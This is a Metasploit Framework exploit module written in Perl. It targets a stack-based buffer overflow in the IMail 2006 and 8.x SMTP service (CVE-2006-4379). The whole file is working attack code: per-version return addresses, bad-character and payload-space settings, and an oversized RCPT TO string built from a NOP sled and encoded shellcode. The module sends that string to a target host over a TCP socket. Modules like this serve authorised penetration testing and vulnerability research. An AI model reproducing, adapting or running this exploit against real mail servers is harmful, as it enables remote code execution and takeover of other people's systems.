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##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info = {
'Name' => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 25],
'Encoder' => [1, 'EncodedPayload', 'Use Pex!!'],
},
'AutoOpts' => { 'EXITFUNC' => 'seh' },
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0d\x0a\x20\x3e\x22\x40",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),
'Refs' =>
[
['BID', '19885'],
['CVE', '2006-4379'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-028.html'],
],
'Targets' =>
[
['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12
],
'DefaultTarget' => 0,
'Keys' => ['smtp'],
'DisclosureDate' => 'September 7 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $ehlo = "EHLO " . "\r\n";
my $mail_from = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";
my $pattern = "\x20\x3c\x40";
$pattern .= pack('V', $target->[1]);
$pattern .="\x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
$pattern .= $shellcode;
$pattern .= "\x4a\x61\x63\x3e";
my $request = "RCPT TO: " . $pattern ."\n";
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using pop eax, ret at 0x%.8x...", $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
my $r = $s->Recv(-1, 5);
$s->Send($ehlo);
$self->PrintLine("[*] I'm sending ehlo command");
$self->PrintLine("[*] $r");
sleep(2);
$s->Send($mail_from);
$self->PrintLine("[*] I'm sending mail from command");
$r = $s->Recv(-1, 10);
$self->PrintLine("[*] $r");
sleep(2);
$s->Send($request);
$self->PrintLine("[*] I'm sending rcpt to command");
sleep(2);
return;
}
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